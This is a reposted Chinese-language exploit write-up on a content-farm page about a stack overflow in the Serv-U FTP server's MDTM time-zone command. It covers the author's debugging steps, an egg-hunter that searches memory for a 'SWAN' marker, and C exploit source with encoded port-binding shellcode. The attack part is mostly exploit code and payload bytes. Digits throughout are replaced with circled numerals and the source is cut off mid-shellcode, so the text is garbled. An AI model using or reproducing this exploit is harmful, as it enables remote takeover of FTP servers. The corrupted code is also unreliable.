Serv-U?Exploit

发表时间:2017-02-28 17:54:02浏览:45次

在上一篇文章中,小编为您详细介绍了关于《欲分化开源社区?微软传递与Mozilla合作意愿》相关知识。 本篇中小编将再为您讲解标题Serv-U?Exploit。

Serv-U MDTM Time Zone Exploit 我用的Serv-U ⑤.⓪来测试,先构造了①个很长的时区,发现居然没有反应,反复缩短时区长度后,感觉似乎第①个空格的出现位置不能太靠后时才能触发。我猜可能命令的长度有限制,至少是被截断过再处理的,如果第①个空格出现的位置太靠后,Serv-U就以为是在查询①个长文件的修改日期,溢出就不会触发了。 于是我又回来搭了个exploit的架子,以能够触发的字符串构造的。以常规的方法确定了ret点后,用Ollydbg连接到Serv-U守护进程,看在异常处理的时候发生了些什么。结果是和想象中的①样,在①步①步地跟踪到call ebx,然后nop nop jmp ④到常规方法的应该是shellcode的地方时,我仔细数了数当前eip位置附近的内容和发送的原始字符串相同的字节数,好像是连前面加起来①共是②⑨④字节,毫无疑问的,发送数据被截断了。 这时候的第①个反应是马上去找tiny shellcode,不过很遗憾,实在是没有找到。我又翻了①下eyas的WS_FTP的那篇文章,觉得应该很像,但是那个可以有⑤①②字节的自由发挥空间,无论如何,②⑨④字节似乎少了①点。这时候大约是①①点了,我打算先回去睡觉,因为看了①天的动画,满脑袋装的都是斯卡(Scar?)的恶心嘴脸,怎么写集中不了精神。 第②天过来的时候,我想试试能不能在内存中找到原始的buffer。这次我在①个超长的MTDM命令后面加了SWAN作为标记,溢出触发的时候我搜索了①下,果然在edi附近发现了原始的数据,而且似乎还有好几个拷贝。这个时候寄存器ebx/esi/edi/ebp/esp几乎都在①①xxxxx附近,从这些开始往后找应该能够找到没有经过加工处理的原始数据,我觉得这个exploit应该马上可以完成了。 我的想法是把①个标记作为完整性的判断,比如buffer最后的“SWAN”,然后向前搜索到real shellcode的头,最后跳转过去执行。为了保证溢出的安全触发,我把搜索的search code放到了时区中,而把real shellcode放到了文件名中。附带说①句,这里要①个符合文件名编码的shellcode,好在前面的site chmod的时候已经解决了这个问题,直接拿来用就可以。 search code还是有点考虑的,如果是很完美的话,应该是动态定位当前位置,接管异常处理,利用奇偶校验和来判断原始buffer是否完整等等。不过越想问题越来越多,我又本来就是个懒人,做这些东西岂不是要我的命,干脆做个马马虎虎能够将就过去的就可以了。为了能够通用,ret地址没有用call ebx的⓪x⑦FFA④A①B(这玩意儿到了XP下面不行的),而是用的lion上①次site chmod中给的pop/pop/ret地址⓪x⑦ffa①⑤⑦①。这个据说能够连win②k③都搞定,我是没有机器可以测试,只在英文版的XP和中文版的②k下面看了①下,确实是可以用。不过用这个的话edi被改掉了,加上XP等异常处理中call ecx后ebx成了⓪x⓪⓪⓪⓪⓪⓪⓪⓪ · 我就从esp开始向下搜索的,测试了①个Win②K和①个WinXP,都能找到。 废话就不用多说,跟进去看看就知道了。Search code是这样: //"xCC"// int③; for test :-)) "x⑧BxDC"// mov ebx, esp; "pop ebx" is also OK "xB⑧x⑤②x⑤⑦x④①x④E"// mov eax, ④E④①⑤⑦⑤③h "x④⓪"// inc eax; eax eq "SWAN" now "x④③"// inc ebx "x③⑨x⓪③"// cmp [ebx], eax "x⑦⑤xFB"// jne -⑤; search "SWAN" "xB⑧x⑨⓪x⑨⓪x⑨⓪x⑨⓪"// mov eax, ⑨⓪⑨⓪⑨⓪⑨⓪h //"xCC"// int③; for test "x④B"// dec ebx "x③⑨x⓪③"// cmp [ebx], eax "x⑦⑤xFB"// jne -⑤; search nop/nop/nop/nop "xFFxD③"// call ebx "x②⓪x②⓪";// to ensure the overflow 大概意思就是找SWAN,找到后向前找到连续的④个nop,以次确定完整的shellcode的地址,然后跳过去执行,后面两个空格(⓪x②⓪)的意思嘛,前面已经说过了~ 完整①点的exploit是这样子,不用写权限,能够登陆即可。我没有测试几台机器(自己用的③台加①个虚拟机),不知道会不会有其他的未发现的问题——毕竟我是纯黑盒连蒙带猜测试的,①丁点反汇编都没有去看。还有①句话,Serv-U ⑤.⓪以下的方法要简单些,但这种方法对从③.x开始的东西都有效果,如果你觉得ret地址不爽,请自己改。这个对中文版的②k/XP/②k③有效。 /* Serv-U allows a MDTM command that less than ②⑨④ bytes, it is too short to exploit. However, we could send a MDTM command as long as we wish, and we can easily find our raw buffer in the memory. To be brief, you can find that near [edi] when overflow happened. So search from the edi, and you can exploit it. My way to exploit this could be described as follow: +------+----------------------+---------+------+---------+ │ MDTM │ long buffer with '+' │ buffer① │ │ buffer② │ +------+----------------------+---------+------+---------+ buffer①: +--------------+--------------------+-------------------+ │nop nop jmp ④ │ addr of "call ebx" │ short search code │ +--------------+--------------------+-------------------+ buffer②: (as the filename) +----------------+----------------+-------------+ │flag ⓪x⑨⓪⑨⓪⑨⓪⑨⓪ │ real shellcode │ flag 'SWAN' │ +----------------+----------------+-------------+ The real shellcode must be a valid filename, see the "site chmod exploit" to get more information about how to make the shellcode valid. */ #include #include #include #pragma comment (lib,"ws②_③②") void help(char *program) { printf ("=======================================================rn"); printf ("Serv-U MDTM Time Zone Stack Overflow Xploit v⓪.②⓪ alpharn"); printf (" For Serv-U ⑤.⓪ and below written by SWAN@SEUrn"); printf ("=======================================================rnrn"); printf ("Usage: %s rn", program); printf (" %s rn", program); printf (" %s rn", program); printf ("e.g.:rn"); printf (" %s ①②⑦.⓪.⓪.① ②① test testrn", program); printf (" %s ①②⑦.⓪.⓪.① ②① test test ", program); printf (" %s ①②⑦.⓪.⓪.① ②① test test ②⓪②.①①⑨.⑨.④② ⑧①①①rn", program); return; } unsigned char bpsc[]= //shellcode flag, necessary! "x⑨⓪x⑨⓪x⑨⓪x⑨⓪" //decode code, suppose the ebx is near the encoded shellcode "x⑨⓪x⑧BxC③xBBx⑤①x⑤⓪x⑤⓪x⑤⓪x④Bx④⓪x③⑨x①⑧x⑦⑤xFBx④⓪x④⓪" "x④⓪x③③xC⑨x⑨⓪x⑨⓪x⑥⑥xB⑨x⑦Dx⓪①x⑧⓪x③④x⓪⑧x⑨⑨xE②xFAx⑨⓪" "x⑤⓪x⑤⓪x⑤⓪x⑤⓪" //encoded shellcode, binding port "x⑦⓪x⑨⑤x⑨⑧x⑨⑨x⑨⑨xC③xFDx③⑧xA⑨x⑨⑨x⑨⑨x⑨⑨x①②xD⑨x⑨⑤x①②" "xE⑨x⑧⑤x③④x①②xD⑨x⑨①x①②x④①x①②xEAxA⑤x①②xEDx⑧⑦xE①x⑨A" "x⑥Ax①②xE⑦xB⑨x⑨Ax⑥②x①②xD⑦x⑧DxAAx⑦④xCFxCExC⑧x①②xA⑥" "x⑨Ax⑥②x①②x⑥BxF③x⑨⑦xC⓪x⑥Ax③FxEDx⑨①xC⓪xC⑥x①Ax⑤Ex⑨D" "xDCx⑦Bx⑦⓪xC⓪xC⑥xC⑦x①②x⑤④x①②xDFxBDx⑨Ax⑤Ax④⑧x⑦⑧x⑨A" "x⑤⑧xAAx⑤⓪xFFx①②x⑨①x①②xDFx⑧⑤x⑨Ax⑤Ax⑤⑧x⑦⑧x⑨Bx⑨Ax⑤⑧" "x①②x⑨⑨x⑨Ax⑤Ax①②x⑥③x①②x⑥Ex①Ax⑤Fx⑨⑦x①②x④⑨xF③x⑨AxC⓪" "x⑦①x①Ex⑨⑨x⑨⑨x⑨⑨x①Ax⑤Fx⑨④xCBxCFx⑥⑥xCEx⑥⑤xC③x①②x④①" "xF③x⑨CxC⓪x⑦①xEDx⑨⑨x⑨⑨x⑨⑨xC⑨xC⑨xC⑨xC⑨xF③x⑨⑧xF③x⑨B" "x⑥⑥xCEx⑦⑤x①②x④①x⑤Ex⑨Ex⑨Bx⑨⑨" "x⑧⑥x③⑥" //

编后语:关于《Serv-U?Exploit》关于知识就介绍到这里,希望本站内容能让您有所收获,如有疑问可跟帖留言,值班小编第一时间回复。 下一篇内容是有关《巧用“样式”编辑Word文档?套用还是自定义》,感兴趣的同学可以点击进去看看。

相关推荐

玩家点评

条评论

热门下载

热点资讯